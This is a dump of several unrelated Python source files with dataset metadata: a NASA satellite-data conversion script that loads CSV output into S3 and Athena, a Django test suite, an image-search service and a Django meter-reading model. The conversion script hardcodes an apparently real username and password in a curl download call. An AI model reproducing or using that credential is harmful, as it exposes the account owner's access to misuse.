sat_ice_err\",\n\"/surf_spec_hum_sat_ice_qc\",\n\"/surf_spec_hum_sat_liq\",\n\"/surf_spec_hum_sat_liq_err\",\n\"/surf_spec_hum_sat_liq_qc\",\n\"/surf_temp\",\n\"/surf_temp_dof\",\n\"/surf_temp_err\",\n\"/surf_temp_qc\",\n\"/tpause_gp_hgt\",\n\"/tpause_gp_hgt_qc\",\n\"/tpause_pres\",\n\"/tpause_pres_qc\",\n\"/tpause_temp\",\n\"/tpause_temp_qc\",\n\"/view_ang\",\n]\n\nif d.__dict__['AutomaticQualityFlag'] == 'Failed':\n print ('d_name AQF = Failed, skipping...')\n\nvars = {}\n\nfor v in climcaps_varlist:\n# print (v)\n# print (d[v])\n vars[v]=d[v]\n\n#print (vars)\n\nout_line=''\nctr=0\nfor vn in sorted(vars):\n ctr+=1\n v = vars[vn]\n if ctr == 1:\n out_line += v.name\n else:\n out_line += '~' + v.name\n\nprint (out_line)\n\nout_line=''\n\n# 3rd dimension setup\n\nv_air_pres = d['air_pres'][:]\nv_air_pres_h2o = d['air_pres_h2o'][:]\nv_air_pres_lay = d['air_pres_lay'][:]\n\n\n# (atrack,xtrack,air_pres_h2o) variables\n\n\nmw_spec_hum = d['/mw/mw_spec_hum']\nmw_spec_hum_err = d['/mw/mw_spec_hum_err']\nmw_spec_hum_qc = d['/mw/mw_spec_hum_qc']\nrel_hum = d['rel_hum']\nrel_hum_err = d['rel_hum_err']\nrel_hum_qc = d['rel_hum_qc']\nspec_hum = d['spec_hum']\nspec_hum_err = d['spec_hum_err']\nspec_hum_qc = d['spec_hum_qc']\nspec_hum_sat_ice = d['spec_hum_sat_ice']\nspec_hum_sat_ice_err = d['spec_hum_sat_ice_err']\nspec_hum_sat_ice_qc = d['spec_hum_sat_ice_qc']\nspec_hum_sat_liq = d['spec_hum_sat_liq']\nspec_hum_sat_liq_err = d['spec_hum_sat_liq_err']\nspec_hum_sat_liq_qc = d['spec_hum_sat_liq_qc']\nh2o_liq_mol_lay = d['h2o_liq_mol_lay']\nh2o_liq_mol_lay_err = d['h2o_liq_mol_lay_err']\nh2o_liq_mol_lay_qc = d['h2o_liq_mol_lay_qc']\n\n\n\n# (atrack,xtrack,air_pres_lay) variables\nfg_h2o_vap_mol_lay=d['/aux/fg_h2o_vap_mol_lay']\nfg_o3_mol_lay =d['/aux/fg_o3_mol_lay']\nh2o_liq_mol_lay=d['/h2o_liq_mol_lay']\nh2o_liq_mol_lay_err=d['/h2o_liq_mol_lay_err']\nh2o_liq_mol_lay_qc =d['/h2o_liq_mol_lay_qc']\nch4_mol_lay=d['/mol_lay/ch4_mol_lay']\nch4_mol_lay_err = d['/mol_lay/ch4_mol_lay_err']\nch4_mol_lay_qc = d['/mol_lay/ch4_mol_lay_qc']\nco_mol_lay = d['/mol_lay/co_mol_lay']\nco_mol_lay_err = d['/mol_lay/co_mol_lay_err']\nco_mol_lay_qc = d['/mol_lay/co_mol_lay_qc']\nh2o_vap_mol_lay = d['/mol_lay/h2o_vap_mol_lay']\nh2o_vap_mol_lay_err = d['/mol_lay/h2o_vap_mol_lay_err']\nh2o_vap_mol_lay_qc = d['/mol_lay/h2o_vap_mol_lay_qc']\nhno3_mol_lay = d['/mol_lay/hno3_mol_lay']\nhno3_mol_lay_err = d['/mol_lay/hno3_mol_lay_err']\nhno3_mol_lay_qc = d['/mol_lay/hno3_mol_lay_qc']\nn2o_mol_lay = d['/mol_lay/n2o_mol_lay']\nn2o_mol_lay_err = d['/mol_lay/n2o_mol_lay_err']\nn2o_mol_lay_qc = d['/mol_lay/n2o_mol_lay_qc']\no3_mol_lay = d['/mol_lay/o3_mol_lay']\no3_mol_lay_err = d['/mol_lay/o3_mol_lay_err']\no3_mol_lay_qc = d['/mol_lay/o3_mol_lay_qc']\nso2_mol_lay = d['/mol_lay/so2_mol_lay']\nso2_mol_lay_err = d['/mol_lay/so2_mol_lay_err']\nso2_mol_lay_qc = d['/mol_lay/so2_mol_lay_qc']\nmw_h2o_vap_mol_lay = d['/mw/mw_h2o_vap_mol_lay']\nmw_h2o_vap_mol_lay_qc = d['/mw/mw_h2o_vap_mol_lay_qc']\nmw_cld_phase = d['/mw_cld_phase']\n\nfor a in range(len(d.dimensions['atrack'])):\n for x in range(len(d.dimensions['xtrack'])):\n out_line=''\n ctr=0\n\n # Handles (atrack) and (atrack,xtrack) variables\n\n for vn in sorted(vars): # ( atrack, [xtrack])\n v = vars[vn]\n #print (v.name)\n tmp=v[a]\n\n # atrack variables are included with each atrack,xtrack row\n\n if list(v.dimensions) == ['atrack']:\n tmp=v[a]\n # print(a,x,v[a])\n elif list(v.dimensions) == ['atrack', 'xtrack']:\n tmp=v[a][x]\n # print(a,x,v[a][x])\n else:\n continue\n\n ctr+=1\n if ctr == 1:\n out_line += str(tmp).replace('\\n', '').replace(' ', ',') \n else:\n out_line += '~' + str(tmp).replace('\\n', '').replace(' ', ',') \n\n # Handle other dimensional arrays\n\n # sat_att\tatrack\tattitude\n # sat_pos\tatrack\tspatial\n # sat_vel\tatrack\tspatial\n out_line += '~' + str(d['sat_att'][a].tolist())\n out_line += '~' + str(d['sat_pos'][a].tolist())\n out_line += '~' + str(d['sat_vel'][a].tolist())\n #print (str(d['sat_pos'][a].tolist()))\n #print (str(d['sat_vel'][a].tolist()))\n\n # Do h20 struct array (atrack,xtrack,air_res_h2o dim variables)\n h2o_matrix=[]\n for l in range(len(d.dimensions['air_pres_h2o'])):\n myStruct={\n 'v_air_pres_h2o' : str(v_air_pres_h2o[l]),\n 'rel_hum' : str(rel_hum[a][x][l]),\n 'rel_hum_err' : str(rel_hum_err[a][x][l]),\n 'rel_hum_qc' : str(rel_hum_qc[a][x][l]),\n 'spec_hum' : str(spec_hum[a][x][l]),\n 'spec_hum_err' : str(spec_hum_err[a][x][l]),\n 'spec_hum_qc' : str(spec_hum_qc[a][x][l]),\n 'spec_hum_sat_ice' : str(spec_hum_sat_ice[a][x][l]),\n 'spec_hum_sat_ice_err' : str(spec_hum_sat_ice_err[a][x][l]),\n 'spec_hum_sat_ice_qc' : str(spec_hum_sat_ice_qc[a][x][l]),\n 'spec_hum_sat_liq' : str(spec_hum_sat_liq[a][x][l]),\n 'spec_hum_sat_liq_err' : str(spec_hum_sat_liq_err[a][x][l]),\n 'spec_hum_sat_liq_qc' : str(spec_hum_sat_liq_qc[a][x][l]),\n 'h2o_liq_mol_lay' : str(h2o_liq_mol_lay[a][x][l]),\n 'h2o_liq_mol_lay_err' : str(h2o_liq_mol_lay_err[a][x][l]),\n 'h2o_liq_mol_lay_qc' : str(h2o_liq_mol_lay_qc[a][x][l]),\n }\n h2o_matrix.append(myStruct)\n \n out_line += '~' + str(json.dumps(h2o_matrix)).replace('\\n', '').replace(' ', '')\n h2o_matrix=[]\n\n # Do air pressure layer matrix struct array (atrack,xtrack,air_pres_lay dim variables)\n apl_matrix=[]\n for l in range(len(d.dimensions['air_pres_lay'])):\n myStruct={\n 'v_air_pres_lay' : str(v_air_pres_lay[l]),\n 'fg_h2o_vap_mol_lay' : str(fg_h2o_vap_mol_lay[a][x][l]),\n 'fg_o3_mol_lay' : str(fg_o3_mol_lay[a][x][l]),\n 'h2o_liq_mol_lay' : str(h2o_liq_mol_lay[a][x][l]),\n 'h2o_liq_mol_lay_err' : str(h2o_liq_mol_lay_err[a][x][l]),\n 'h2o_liq_mol_lay_qc' : str(h2o_liq_mol_lay_qc[a][x][l]),\n 'ch4_mol_lay' : str(ch4_mol_lay[a][x][l]),\n 'ch4_mol_lay_err' : str(ch4_mol_lay_err[a][x][l]),\n 'ch4_mol_lay_qc' : str(ch4_mol_lay_qc[a][x][l]),\n 'co_mol_lay' : str(co_mol_lay[a][x][l]),\n 'co_mol_lay_err' : str(co_mol_lay_err[a][x][l]),\n 'co_mol_lay_qc' : str(co_mol_lay_qc[a][x][l]),\n 'h2o_vap_mol_lay' : str(h2o_vap_mol_lay[a][x][l]),\n 'h2o_vap_mol_lay_err' : str(h2o_vap_mol_lay_err[a][x][l]),\n 'h2o_vap_mol_lay_qc' : str(h2o_vap_mol_lay_qc[a][x][l]),\n 'hno3_mol_lay' : str(hno3_mol_lay[a][x][l]),\n 'hno3_mol_lay_err' : str(hno3_mol_lay_err[a][x][l]),\n 'hno3_mol_lay_qc' : str(hno3_mol_lay_qc[a][x][l]),\n 'n2o_mol_lay' : str(n2o_mol_lay[a][x][l]),\n 'n2o_mol_lay_err' : str(n2o_mol_lay_err[a][x][l]),\n 'n2o_mol_lay_qc' : str(n2o_mol_lay_qc[a][x][l]),\n 'o3_mol_lay' : str(o3_mol_lay[a][x][l]),\n 'o3_mol_lay_err' : str(o3_mol_lay_err[a][x][l]),\n 'o3_mol_lay_qc' : str(o3_mol_lay_qc[a][x][l]),\n 'so2_mol_lay' : str(so2_mol_lay[a][x][l]),\n 'so2_mol_lay_err' : str(so2_mol_lay_err[a][x][l]),\n 'so2_mol_lay_qc' : str(so2_mol_lay_qc[a][x][l]),\n 'mw_h2o_vap_mol_lay' : str(mw_h2o_vap_mol_lay[a][x][l]),\n 'mw_h2o_vap_mol_lay_qc' : str(mw_h2o_vap_mol_lay_qc[a][x][l]),\n 'mw_h2o_vap_mol_lay' : str(mw_h2o_vap_mol_lay[a][x][l]),\n 'mw_cld_phase' : str(mw_cld_phase[a][x][l]),\n }\n apl_matrix.append(myStruct)\n \n out_line += '~' + str(json.dumps(apl_matrix)).replace('\\n', '').replace(' ', '')\n h2o_matrix=[]\n\n\n print (out_line)\n\nexit()\n\n \n \nc_sst_fv = (d['sea_surface_temperature']._FillValue * d['sea_surface_temperature'].scale_factor) + d['sea_surface_temperature'].add_offset\n\n\nq=\"\"\"\ninsert into sci.abi_g16_star_l2p_v2_70\nselect\n try_cast(sst_dtime as real) sst_dtime, \n try_cast(longitude as real) longitude, \n try_cast(latitude as real) latitude, \n try_cast(satellite_zenith_angle as real) satellite_zenith_angle, \n try_cast(sea_surface_temperature as real) sea_surface_temperature, \n try_cast(brightness_temperature_08um6 as real) brightness_temperature_08um6, \n try_cast(brightness_temperature_10um4 as real) brightness_temperature_10um4, \n try_cast(brightness_temperature_11um2 as real) brightness_temperature_11um2, \n try_cast(brightness_temperature_12um3 as real) brightness_temperature_12um3, \n try_cast(sses_bias as real) sses_bias, \n try_cast(sses_standard_deviation as real) sses_standard_deviation, \n try_cast(dt_analysis as real) dt_analysis, \n try_cast(wind_speed as real) wind_speed, \n try_cast(sea_ice_fraction as real) sea_ice_fraction, \n try_cast(l2p_flags as int) l2p_flags, \n try_cast(quality_level as smallint) quality_level,\n date_parse(time_base, '%Y-%m-%d %H:%i:%s') time_base\nfrom\n sci_staging.abi_g16_star_l2p_staging\norder by\n longitude, latitude\n\"\"\"\n\nimport subprocess\nimport os\nimport datetime\n\nu_list = open('podaac_l2p_urls_v2.txt')\ndirectory=\".\" \nctr=0\n\nthis_batch = []\n\nfor u in u_list:\n u=u.replace(\"\\n\",\"\")\n filename = u.rsplit('/', 1)[-1]\n \n myHour=filename[8:10]\n\n if myHour in ['17']: #, '05', '09', '13', '17', '21']:\n #print (filename, myHour)\n pass\n else:\n continue\n\n print (ctr, 'Getting...', filename, str(datetime.datetime.now()))\n\n subprocess.run([\"curl\", \"-O\", \"-u\", \"pmacharrie:EwEXyECq0iXKR9zcVZB\", \"-L\", \"-n\", u])\n# curl -O -u pmacharrie:EwEXyECq0iXKR9zcVZB -L -n https://podaac-tools.jpl.nasa.gov/drive/files/allData/ghrsst/data/GDS2/L2P/GOES16/STAR/v2.70/2021/135/20210515150000-STAR-L2P_GHRSST-SSTsubskin-ABI_G16-ACSPO_V2.70-v02.0-fv01.0.nc \n\n if os.path.isfile(filename):\n pass\n else:\n continue\n\n inputFileName = filename\n outputFileName = filename.replace('nc', 'csv')\n gzipFileName = outputFileName + '.gz'\n workPath = '/home/ec2-user/' # more space on root device ???\n s3dest = 's3://nasa-ems-sandbox/staging/science/g16_abi_l2p/sst/'\n d = Dataset(filename, 'r')\n #d.set_auto_maskandscale(True)\n d.set_auto_mask(False)\n\n if type(d['sea_surface_temperature'][0]) is np.ma.core.MaskedArray:\n print ('Is masked.')\n\n sst_dtime= d['sst_dtime'][0]\n sza=np.around(d['satellite_zenith_angle'][0],1)\n sst=np.around(d['sea_surface_temperature'][0],2)\n bt_08um6=np.around(d['brightness_temperature_08um6'][0],3)\n bt_10um4=np.around(d['brightness_temperature_10um4'][0],3)\n bt_11um2=np.around(d['brightness_temperature_11um2'][0],3)\n bt_12um3=np.around(d['brightness_temperature_12um3'][0],3)\n sb=np.around(d['sses_bias'][0],4)\n ssd=np.around(d['sses_standard_deviation'][0],2)\n da=np.around(d['dt_analysis'][0],1)\n ws = np.around(d['wind_speed'][0], 3)\n sif=np.around(d['sea_ice_fraction'][0], 2)\n l2pf=d['l2p_flags'][0]\n ql=d['quality_level'][0]\n\n time_var = d['time']\n dtime = nc.num2date(time_var[:],time_var.units)\n sst_t_hr = str(dtime[0])\n print (sst_t_hr)\n\n f=open(workPath + outputFileName, 'w')\n\n#sst_f = ((9.0/5.0) * (sst - 273)) + 32.0\n\n y=len(d['sea_surface_temperature'][0][1])\n for i in range(len(d['sea_surface_temperature'][0])):\n for j in range(y):\n if sst[i][j] == c_sst_fv:\n pass\n else:\n csv_line = str(sst_dtime[i][j]) + ',' + str(lon[i][j]) + ',' + str(lat[i][j]) + ','\n csv_line += str(sza[i][j]) + ',' + str( sst[i][j] ) + ',' + str( bt_08um6[i][j] ) + ','\n csv_line += str( bt_10um4[i][j] ) + ',' + str( bt_11um2[i][j] ) + ',' + str( bt_12um3[i][j] ) + ','\n csv_line += str( sb[i][j] ) + ',' + str( ssd[i][j] ) + ',' + str( da[i][j] ) + ','\n csv_line += str(ws[i][j]) + ',' + str(sif[i][j]) + ',' + str( l2pf[i][j] ) + ',' + str( ql[i][j] )\n csv_line += ',' + sst_t_hr\n print (csv_line, file=f )\n #print (i,j)\n f.close()\n os.remove(filename) # delete the nc file\n subprocess.run([\"gzip\", workPath + outputFileName])\n subprocess.run([\"aws\", \"s3\", \"cp\", workPath + gzipFileName, s3dest + gzipFileName])\n os.remove(workPath + gzipFileName) # delete the gz file\n \n \n #inputFileName = filename\n #outputFileName = filename.replace('nc', 'csv')\n #gzipFileName = outputFileName + '.gz'\n #workPath = '/home/ec2-user' # more space on root device ???\n #s3dest = 's3://nasa-ems-sandbox/staging/science/g16_abi_l2p/sst/'\n \n ctr+=1\n this_batch.append(s3dest + gzipFileName)\n \n if ctr >= 8:\n print (datetime.datetime.now(), 'start athena udpate.')\n conn = connect(s3_staging_dir='s3://esdis-ems-athena', region_name='us-west-2')\n pd.options.display.float_format = '{:,.4f}'.format\n df = pd.read_sql(q, conn)\n df\n print (datetime.datetime.now(), 'end athena udpate.')\n for t in this_batch:\n print ('deleting t:', t)\n rc=subprocess.run([\"aws\", \"s3\", \"rm\", t])\n print ('rc:',rc)\n this_batch=[]\n ctr=0\n \n# lon_degree, lat_degree = get_geo(d)\n# print (\"done geo\", str(datetime.datetime.now()))\n# v_month = get_month(d)\n\n\nconn = connect(s3_staging_dir='s3://esdis-ems-athena', region_name='us-west-2')\npd.options.display.float_format = '{:,.4f}'.format\ndf = pd.read_sql(q, conn)\ndf\n\n#for t in this_batch:\n#\tprint ('deleting t:', t)\n# \trc=subprocess.run([\"aws\", \"s3\", \"rm\", t])\n#\tprint ('rc:',rc)\n\n", "sub_path": "n20_climcaps_l2_to_athena.py", "file_name": "n20_climcaps_l2_to_athena.py", "file_ext": "py", "file_size_in_byte": 19747, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "netCDF4.Dataset", "line_number": 14, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 403, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 444, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 505, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 505, "usage_type": "attribute"}, {"api_name": "subprocess.run", "line_number": 507, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 510, "usage_type": "call"}, {"api_name": "os.path", "line_number": 510, "usage_type": "attribute"}, {"api_name": "netCDF4.Dataset", "line_number": 520, "usage_type": "call"}, {"api_name": "numpy.ma", "line_number": 524, "usage_type": "attribute"}, {"api_name": "numpy.around", "line_number": 528, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 529, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 530, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 531, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 532, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 533, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 534, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 535, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 536, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 537, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 538, "usage_type": "call"}, {"api_name": "netCDF4.num2date", "line_number": 543, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 566, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 567, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 568, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 569, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 582, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 582, "usage_type": "attribute"}, {"api_name": "pyathena.connect", "line_number": 583, "usage_type": "call"}, {"api_name": "pandas.options", "line_number": 584, "usage_type": "attribute"}, {"api_name": "pandas.read_sql", "line_number": 585, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 587, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 587, "usage_type": "attribute"}, {"api_name": "subprocess.run", "line_number": 590, "usage_type": "call"}, {"api_name": "pyathena.connect", "line_number": 600, "usage_type": "call"}, {"api_name": "pandas.options", "line_number": 601, "usage_type": "attribute"}, {"api_name": "pandas.read_sql", "line_number": 602, "usage_type": "call"}]} {"seq_id": "440466960", "text": "import os\nimport filecmp\nfrom os.path import join\n\nfrom django.test import override_settings, TestCase\n\nfrom django.conf import settings\n\nfrom carcassonne.helpers.sse import Employee, Workplace, get_manager, \\\n EmployeeIdError\n\n\n@override_settings(\n DUMMY_CSV_PATH=join(settings.BASE_DIR, 'carcassonne', 'tests', 'helpers',\n 'sse', 'test_db.csv'),\n DUMP_PATH=join(settings.BASE_DIR, 'carcassonne', 'helpers', 'sse',\n 'resources', 'dump.csv'))\nclass TestEmployeeManagerDummy(TestCase):\n \"\"\"\n Class for testing EmployeeManagerDummy.\n \"\"\"\n\n def setUp(self):\n \"\"\"\n Create EmployeeManagerDummy instance.\n\n Create object of employee with id = 1.\n \"\"\"\n self.manager = get_manager()\n\n self.employee = Employee(\n id_sse=1,\n name='Flo Zavala',\n position='Abiliton Application Architect',\n project=r'IT\\TRSY\\TRSY Management\\Software Architecture',\n vertical='TRSY',\n workplaces=[\n Workplace(location='Kyiv1', room='321', table=4),\n ])\n\n def tearDown(self):\n \"\"\"\n Remove created persistence file.\n \"\"\"\n os.remove(settings.DUMMY_CSV_PATH)\n\n def test_db_creation(self):\n \"\"\"\n Test automatic creation of test_db.csv.\n \"\"\"\n self.assertTrue(os.path.isfile(settings.DUMMY_CSV_PATH))\n\n def test_db_copying(self):\n \"\"\"\n Test copying dump.csv file content to test_db.csv.\n \"\"\"\n self.assertTrue(\n filecmp.cmp(settings.DUMMY_CSV_PATH, settings.DUMP_PATH),\n 'Files are not equal.')\n\n def test_get_employees_by_id(self):\n \"\"\"\n Test get_employees() by specified id.\n \"\"\"\n employees = self.manager.get_employees(employee_id=1)\n self.assertEqual([self.employee], employees)\n\n def test_get_employees_by_absent_id(self):\n \"\"\"\n Test get_employees() method by absent id.\n \"\"\"\n self.assertEqual([], self.manager.get_employees(employee_id=0))\n\n def test_get_employees_by_project(self):\n \"\"\"\n Test get_employees() method by specified project.\n \"\"\"\n employees = self.manager.get_employees(\n project='IT\\\\TRSY\\\\TRSY Management\\\\Software Architecture')\n self.assertEqual([self.employee], employees)\n\n def test_get_employees_with_multiple_workplaces(self):\n \"\"\"\n Test get_employees() with expected multiple workplaces.\n\n We expect 2 non-equal workplaces.\n \"\"\"\n employee = self.manager.get_employees(employee_id=44)[0]\n self.assertEqual(2, len(employee.workplaces),\n 'Incorrect number of workplaces.')\n self.assertNotEqual(employee.workplaces[0], employee.workplaces[1],\n 'Workplaces are unexpectedly equal: {!r} == {!r}'\n .format(*employee.workplaces))\n\n def test_update_employee_in_pool(self):\n \"\"\"\n Test update() method in manager._pool list.\n \"\"\"\n self.employee.name = 'Updated name'\n\n self.manager.update(self.employee)\n self.assertEqual([self.employee],\n self.manager.get_employees(employee_id=1))\n\n def test_update_employee_in_file(self):\n \"\"\"\n Test update() method in persistence file.\n \"\"\"\n self.employee.name = 'Updated name'\n self.manager.update(self.employee)\n\n manager2 = get_manager()\n\n self.assertEqual([self.employee],\n manager2.get_employees(employee_id=1))\n\n def test_add_employee_pool_size(self):\n \"\"\"\n Test manager._pool size after add().\n \"\"\"\n new_employee = self.employee\n new_employee.name = 'New employee'\n new_employee.id_sse = None\n\n old_pool_size = len(self.manager._pool)\n self.manager.add(new_employee)\n new_pool_size = len(self.manager._pool)\n\n self.assertEqual(old_pool_size + 1, new_pool_size)\n\n def test_add_employee_persistence_update(self):\n \"\"\"\n Test persistence file after add() method.\n \"\"\"\n new_employee = self.employee\n new_employee.name = 'New employee'\n new_employee.id_sse = None\n\n self.manager.add(new_employee)\n manager2 = get_manager()\n\n self.assertEqual([new_employee],\n manager2.get_employees(name='New employee'))\n\n def test_id_changes_after_add(self):\n \"\"\"\n Test changes of id after execution of add().\n \"\"\"\n new_employee = self.employee\n new_employee.name = 'New employee'\n new_employee.id_sse = None\n\n self.manager.add(new_employee)\n\n self.assertIsNotNone(new_employee.id_sse)\n\n def test_add_with_wrong_id_type(self):\n \"\"\"\n Test raising exceptions for wrong type of id.\n \"\"\"\n new_employee = self.employee\n new_employee.name = 'New employee'\n new_employee.id_sse = '300'\n\n with self.assertRaises(EmployeeIdError):\n self.manager.add(new_employee)\n\n def test_add_with_id_lower_one(self):\n \"\"\"\n Test raising exceptions for wrong value of id (lower 1).\n \"\"\"\n new_employee = self.employee\n new_employee.name = 'New employee'\n new_employee.id_sse = '0'\n\n with self.assertRaises(EmployeeIdError):\n self.manager.add(new_employee)\n\n def test_add_with_non_unique_id(self):\n \"\"\"\n Test raising exceptions for non-unique id.\n \"\"\"\n new_employee = self.employee\n new_employee.name = 'New employee'\n new_employee.id_sse = 1\n\n with self.assertRaises(EmployeeIdError):\n self.manager.add(new_employee)\n\n def test_add_with_non_numerical_id(self):\n \"\"\"\n Test raising exceptions for non-numerical id.\n \"\"\"\n new_employee = self.employee\n new_employee.name = 'New employee'\n new_employee.id_sse = 'abc'\n\n with self.assertRaises(ValueError):\n self.manager.add(new_employee)\n", "sub_path": "SSP/carcassonne/tests/helpers/sse/test_manager_dummy.py", "file_name": "test_manager_dummy.py", "file_ext": "py", "file_size_in_byte": 6138, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "django.test.TestCase", "line_number": 18, "usage_type": "name"}, {"api_name": "carcassonne.helpers.sse.get_manager", "line_number": 29, "usage_type": "call"}, {"api_name": "carcassonne.helpers.sse.Employee", "line_number": 31, "usage_type": "call"}, {"api_name": "carcassonne.helpers.sse.Workplace", "line_number": 38, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 45, "usage_type": "call"}, {"api_name": "django.conf.settings.DUMMY_CSV_PATH", "line_number": 45, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 45, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "django.conf.settings.DUMMY_CSV_PATH", "line_number": 51, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 51, "usage_type": "name"}, {"api_name": "filecmp.cmp", "line_number": 58, "usage_type": "call"}, {"api_name": "django.conf.settings.DUMMY_CSV_PATH", "line_number": 58, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 58, "usage_type": "name"}, {"api_name": "django.conf.settings.DUMP_PATH", "line_number": 58, "usage_type": "attribute"}, {"api_name": "carcassonne.helpers.sse.get_manager", "line_number": 112, "usage_type": "call"}, {"api_name": "carcassonne.helpers.sse.get_manager", "line_number": 140, "usage_type": "call"}, {"api_name": "carcassonne.helpers.sse.EmployeeIdError", "line_number": 165, "usage_type": "argument"}, {"api_name": "carcassonne.helpers.sse.EmployeeIdError", "line_number": 176, "usage_type": "argument"}, {"api_name": "carcassonne.helpers.sse.EmployeeIdError", "line_number": 187, "usage_type": "argument"}, {"api_name": "django.test.override_settings", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 14, "usage_type": "call"}, {"api_name": "django.conf.settings.BASE_DIR", "line_number": 14, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 14, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "django.conf.settings.BASE_DIR", "line_number": 16, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 16, "usage_type": "name"}]} {"seq_id": "335077152", "text": "import logging\nfrom indexer.index import milvus_client, create_table, insert_vectors, delete_table, search_vectors, create_index, has_partition\nfrom preprocessor.vggnet import vgg_extract_feat\nimport redis\nfrom common.config import REDIS_NAME, REDIS_URI, REDIS_PORT, UPLOAD_PATH, DEFAULT_TABLE\nfrom bson import json_util\n\n\ndef filter_data(vids, mycol, vectors):\n res = []\n list = mycol.find({\"id\": {\"$in\": vids}}, {\"_id\": 0})\n for i in list:\n for d in vectors:\n if d.id == i['id']:\n res.append({'img': i['img'], 'distance': d.distance})\n return res\n\n\ndef op_search(table_name, img_path, top_k, model, graph, sess, mycol, partition=None):\n try:\n feats = []\n client = milvus_client()\n if partition:\n status, ok = has_partition(client, table_name, partition)\n if not ok:\n return False, ''\n feat = vgg_extract_feat(img_path, model, graph, sess)\n feats.append(feat)\n _, vectors = search_vectors(client, table_name, feats, top_k, partition)\n if len(vectors) > 0:\n vids = [x.id for x in vectors[0]]\n res = filter_data(vids, mycol, vectors[0])\n return True, res\n else:\n return True, vectors\n except Exception as e:\n logging.error(e)\n return '发生错误'.format(e)\n", "sub_path": "service/search.py", "file_name": "search.py", "file_ext": "py", "file_size_in_byte": 1360, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "indexer.index.milvus_client", "line_number": 22, "usage_type": "call"}, {"api_name": "indexer.index.has_partition", "line_number": 24, "usage_type": "call"}, {"api_name": "preprocessor.vggnet.vgg_extract_feat", "line_number": 27, "usage_type": "call"}, {"api_name": "indexer.index.search_vectors", "line_number": 29, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 37, "usage_type": "call"}]} {"seq_id": "266778210", "text": "from django.db import models\nfrom django.utils.translation import ugettext_lazy as _\nfrom solo.models import SingletonModel\n\n\nclass DsmrReadingManager(models.Manager):\n def unprocessed(self):\n return self.get_queryset().filter(processed=False)\n\n def processed(self):\n return self.get_queryset().filter(processed=True)\n\n\nclass DsmrReading(models.Model):\n \"\"\"\n Core data read from a P1 DSMR telegram (meter reading).\n \"\"\"\n objects = DsmrReadingManager()\n\n timestamp = models.DateTimeField(\n help_text=_(\"Timestamp indicating when the reading was taken, according to the meter\")\n )\n electricity_delivered_1 = models.DecimalField(\n max_digits=9,\n decimal_places=3,\n help_text=_(\"Meter Reading electricity delivered to client (low tariff) in 0,001 kWh\")\n )\n electricity_returned_1 = models.DecimalField(\n max_digits=9,\n decimal_places=3,\n help_text=_(\"Meter Reading electricity delivered by client (low tariff) in 0,001 kWh\")\n )\n electricity_delivered_2 = models.DecimalField(\n max_digits=9,\n decimal_places=3,\n help_text=_(\"Meter Reading electricity delivered to client (normal tariff) in 0,001 kWh\")\n )\n electricity_returned_2 = models.DecimalField(\n max_digits=9,\n decimal_places=3,\n help_text=_(\"Meter Reading electricity delivered by client (normal tariff) in 0,001 kWh\")\n )\n electricity_currently_delivered = models.DecimalField(\n max_digits=9,\n decimal_places=3,\n help_text=_(\"Actual electricity power delivered (+P) in 1 Watt resolution\")\n )\n electricity_currently_returned = models.DecimalField(\n max_digits=9,\n decimal_places=3,\n help_text=_(\"Actual electricity power received (-P) in 1 Watt resolution\")\n )\n phase_currently_delivered_l1 = models.DecimalField(\n null=True,\n default=None,\n max_digits=9,\n decimal_places=3,\n help_text=_(\"Instantaneous active power L1 (+P) in W resolution\")\n )\n phase_currently_delivered_l2 = models.DecimalField(\n null=True,\n default=None,\n max_digits=9,\n decimal_places=3,\n help_text=_(\"Instantaneous active power L2 (+P) in W resolution\")\n )\n phase_currently_delivered_l3 = models.DecimalField(\n null=True,\n default=None,\n max_digits=9,\n decimal_places=3,\n help_text=_(\"Instantaneous active power L3 (+P) in W resolution\")\n )\n extra_device_timestamp = models.DateTimeField(\n null=True,\n default=None,\n help_text=_(\"Last hourly reading timestamp\")\n )\n extra_device_delivered = models.DecimalField(\n null=True,\n default=None,\n max_digits=9,\n decimal_places=3,\n help_text=_(\"Last hourly value delivered to client\")\n )\n processed = models.BooleanField(\n default=False,\n db_index=True,\n help_text=_(\"Whether this reading has been processed for merging into statistics\")\n )\n\n class Meta:\n default_permissions = tuple()\n ordering = ['timestamp']\n verbose_name = _('DSMR reading (read only)')\n verbose_name_plural = 